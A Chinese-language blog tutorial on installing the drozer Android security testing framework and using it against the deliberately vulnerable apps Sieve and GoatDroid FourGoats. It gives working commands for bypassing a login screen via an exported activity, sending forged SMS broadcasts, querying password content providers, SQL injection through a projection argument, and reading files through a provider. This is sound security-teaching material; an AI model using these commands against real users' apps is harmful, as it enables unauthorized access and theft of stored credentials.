介绍 drozer
是一款针对Android
系统的安全测试框架,可以分成两个部分:其一是console
,它运行在本地计算机上;其二是server
,它是一个安装在目标Android
设备上的app
,当使用console
与Android
设备交互时,就是把Java
代码输入到运行在实际设备上的drozer
代理(agent
)中。
安装
1 2 3 4 C:\Users\Admin>java --version java 17.0.2 2022-01-18 LTS Java(TM) SE Runtime Environment (build 17.0.2+8-LTS-86) Java HotSpot(TM) 64-Bit Server VM (build 17.0.2+8-LTS-86, mixed mode, sharing)
1 2 3 C:\Users\Admin>adb --version Android Debug Bridge version 1.0.40 Version 4986621
1 2 C:\Users\Admin>python --version Python 2.7.15
下载drozer-2.4.4.win32.msi
最新版本
在python2.7
的script
目录可以看到安装的drozer
1 2 3 4 5 6 7 8 9 C:\Users\Admin>adb devices List of devices attached * daemon not running; starting now at tcp:5037 * daemon started successfully emulator-5554 device C:\Users\Admin>adb install d:\appsafetest\drozer-agent-2.3.4.apk Success
1 2 3 4 5 6 python -m pip install --upgrade pip pip install pyyaml pip install protobuf==3.17.3 # 一定要这个版本,用最新的版本无法启动drozer pip install pyOpenSSL pip install twisted pip install service_identity
使用 adb
进行端口转发,转发到上边Drozer
使用的端口 31415
1 adb forward tcp:31415 tcp:31415
测试是否可以启动drozer
一定要用cd
进入到drozer
的安装目录(D:\app\Python27\Scripts
),不然drozer
不能正常使用
然后执行drozer.bat console connect
连接drozer
的server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 cd D:\app\Python27\Scripts D:\app\Python27\Scripts>drozer.bat console connect .. ..:. ..o.. .r.. ..a.. . ....... . ..nd ro..idsnemesisand..pr .otectorandroidsneme. .,sisandprotectorandroids+. ..nemesisandprotectorandroidsn:. .emesisandprotectorandroidsnemes.. ..isandp,..,rotectorandro,..,idsnem. .isisandp..rotectorandroid..snemisis. ,andprotectorandroidsnemisisandprotec. .torandroidsnemesisandprotectorandroid. .snemisisandprotectorandroidsnemesisan: .dprotectorandroidsnemesisandprotector. drozer Console (v2.4.4)
1 2 3 4 5 6 7 8 9 10 11 12 dz> list app.activity.forintent Find activities that can handle the given intent app.activity.info Gets information about exported activities. app.activity.start Start an Activity app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents app.package.attacksurface Get attack surface of package app.package.backup Lists packages that use the backup API (returns true on FLAG_ALLOW_BACKUP) app.package.debuggable Find debuggable packages .....
模块名
作用
app.activity.forintent
通过intent查找它的activity
app.activity.info
获取activities信息
app.activity.start
开启 Activity
app.broadcast.info
获取broadcast receivers信息
app.broadcast.send
发送广播
app.broadcast.sniff
嗅探广播中intent的数据
app.package.attacksurface
确定安装包的可攻击面
app.package.backup
列出可备份的包
app.package.debuggable
列出可debug的包
app.package.info
获取已安装包的信息
app.package.launchintent
获取程序启动的activity信息
app.package.list
手机已安装的程序包
app.package.manifest
获取程序manifest文件信息
app.package.native
列出Native libraries 信息
app.package.shareduid
查找拥有共同uid的包和他们所有的权限
app.provider.columns
展示content provider URI的各列
app.provider.delete
删除content provider URI的内容
app.provider.download
使用openInputStream读取指定uri的内容,并下载在电脑中
app.provider.info 获取
content providers信息
app.provider.insert
插入数据到content provider
app.provider.query
查询content provider 内容
app.provider.read
使用openInputStream读取指定uri的内容
app.provider.update
更新content provider的内容
app.service.info
获取services的信息
app.service.send
使用 Message攻击暴露的service,其service实现了handleMessage
app.service.start
开启服务
app.service.stop
停止服务
实例
本次的apk来自于这里 ,提前安装到模拟器上
测试步骤来源这里 ,非常感谢此博客的分享
查找包含sieve
的包名
1 2 dz> run app.package.list -f sieve com.mwr.example.sieve (Sieve)
查看包名的信息,我们已经获得应用数据目录、apk的路径、UID、GID等信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 dz> run app.package.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Application Label: Sieve Process Name: com.mwr.example.sieve Version: 1.0 Data Directory: /data/user/0/com.mwr.example.sieve APK Path: /data/app/com.mwr.example.sieve-1/base.apk UID: 10039 GID: [3003] Shared Libraries: null Shared User ID: null Uses Permissions: - android.permission.READ_EXTERNAL_STORAGE - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.INTERNET Defines Permissions: - com.mwr.example.sieve.READ_KEYS - com.mwr.example.sieve.WRITE_KEYS
确定可攻击面 1 2 3 4 5 6 7 8 dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 1 content providers exported 0 services exported is debuggable
activity组件
应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 Activity之间通过Intent进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据。
通过上边的命令可以发现activity
存在问题,我们查看下用apktool d sieve.apk
反编译出的的安装包的AndroidManifest.xml
文件,可看到将activity
的exported
设置为true
。说明存在被导出的分险
1 2 3 4 5 6 7 8 9 dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity Permission: null com.mwr.example.sieve.MainLoginActivity Permission: null com.mwr.example.sieve.PWList Permission: null
使用app.activity.start
进行漏洞测试
越权漏洞–绕过登录界面导致可直接访问Your Passwords界面,说明存在越权漏洞
1 run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
Broadcast组件
BroadcastReceive广播接收器应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice 来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。
1 2 3 4 5 6 7 dz> run app.package.attacksurface org.owasp.goatdroid.fourgoats Attack Surface: 4 activities exported 1 broadcast receivers exported # 发现这里有一个广播可攻击 0 content providers exported 1 services exported is debuggable
使用app.activity.start
进行漏洞测试查看对外的broadcas
t组件信息
1 2 3 4 dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats Package: org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver Permission: null
查看反编译出(apktool d goatdroid.apk
)的AndroidManifest.xml
文件,可看到将receiver
的exported
设置未进行设置(由于存在了filter,默认属性为true)。说明存在越权问题,可发送恶意广播,伪造消息等等。
当前broadcast Receiver 是否可以从当前应用外部获取Receiver message true,可以;false 不可以。如果为false ,当前broadcast Receiver 只能收到同一个应用或者拥有同一 user ID 应用发出广播。
默认值根据当前 broadcast Receiver 是否包含intent filter来定。如果没有任何的filter的话意味着只有在被详细的描述了class name的情况下才会被唤起。这意味着当前Receiver只能在应用内部被使用(因为其它应用不知道这个类的存在。)在这种情况下,默认值是false。如果至少包含一个filter意味着当前broadcast Receiver 将会收到来自系统或者其它应用的广播,所以这个时候默认值是true。
不只有这个属性可以指定broadcast Receiver 是否暴露给其它应用。你也可以使用permission来限制外部应用给他发送消息
更多的参考资料
反编译查看源代码,发现需要两个参数phoneNumber
和message
。
漏洞利用-可发送恶意广播包 1 dz> run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message pwnd!
漏洞利用,拒绝服务攻击检测 1 dz> run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
Services组件
一个Service 是一段长生命周期的,没有用户界面的程序,可以用来开发如监控类程序。较好的一个例子就是一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中,应该会有多个activity,让使用者可以选择歌曲并播放歌曲。
然而,音乐重放这个功能并没有对应的activity,因为使用者当然会认为在导航到其它屏幕时音乐应该还在播放的。在这个例子中,媒体播放器这个activity 会使用Context.startService()来启动一个service,从而可以在后台保持音乐的播放。同时,系统也将保持这个service 一直执行,直到这个service 运行结束。
另外,我们还可以通过使用Context.bindService()方法,连接到一个service 上(如果这个service 还没有运行将启动它)。当连接到一个service 之后,我们还可以service 提供的接口与它进行通讯。拿媒体播放器这个例子来说,我们还可以进行暂停、重播等操作。 intent-filter未将exported设置为false,默认是可以导出的。
org.owasp.fourgoats.goatdroid.LocationService
服务被导出,不需要任何权限。所以这意味着任何与FourGoats
应用程序安装在设备上的恶意应用程序可以访问设备的位置。
让我们尝试启动特定服务 1 run app.package.attacksurface org.owasp.goatdroid.fourgoats
1 run app.service.info -a org.owasp.goatdroid.fourgoats
1 run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService
观察状态栏中的位置标志和GPS位置正在由FourGoats应用程序访问,这里我出现应用已停止的提示,贴人家攻击成功的图片
Content组件
android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。
查看fourgoats
该APP的可攻击点,可以看到存在broadcast
广播问题。
1 run app.package.attacksurface org.owasp.goatdroid.fourgoats
信息泄露利用
扫描并获取Content Provider信息,并列出了可访问内容URI的列表和路径:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 dz> run scanner.provider.finduris -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ Unable to Query content://com.mwr.example.sieve.FileBackupProvider/ Unable to Query content://com.mwr.example.sieve.DBContentProvider Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/ Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/ Unable to Query content://com.mwr.example.sieve.FileBackupProvider Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/
查询或修改数据库中的数据,发现存在数据泄露问题,访问uri可看到一些敏感信息,
1 2 dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ | _id | service | username | password | email |
我本人查到的是空数据,因为这个apk我还使用,因此没有任何数据,贴一个其他博客有数据的图片
SQL注入漏洞 同样content可能导致注入问题。使用以下语句进行测试发现报错,说明存在SQL注入漏洞,直接注入了*号,查询到数据
1 2 dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*" | _id | service | username | password | email |
1 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
同时也可以使用扫描功能对该app注入点位置进行扫描
1 run scanner.provider.injection -a com.mwr.example.sieve
1 run scanner.provider.sqltables -a com.mwr.example.sieve
底层文件操作
1 run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
1 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data
文件下载没有执行成功,执行成功后应该回显以下内容:
1 2 /data/com.mwr.example.sieve/databases/database.db /home/user/database.db Written 24576 bytes
目录遍历
1 run scanner.provider.traversal -a com.mwr.example.sieve
更多Drozer使用方法可参阅官方指南(英文):** Drozer 使用指南 **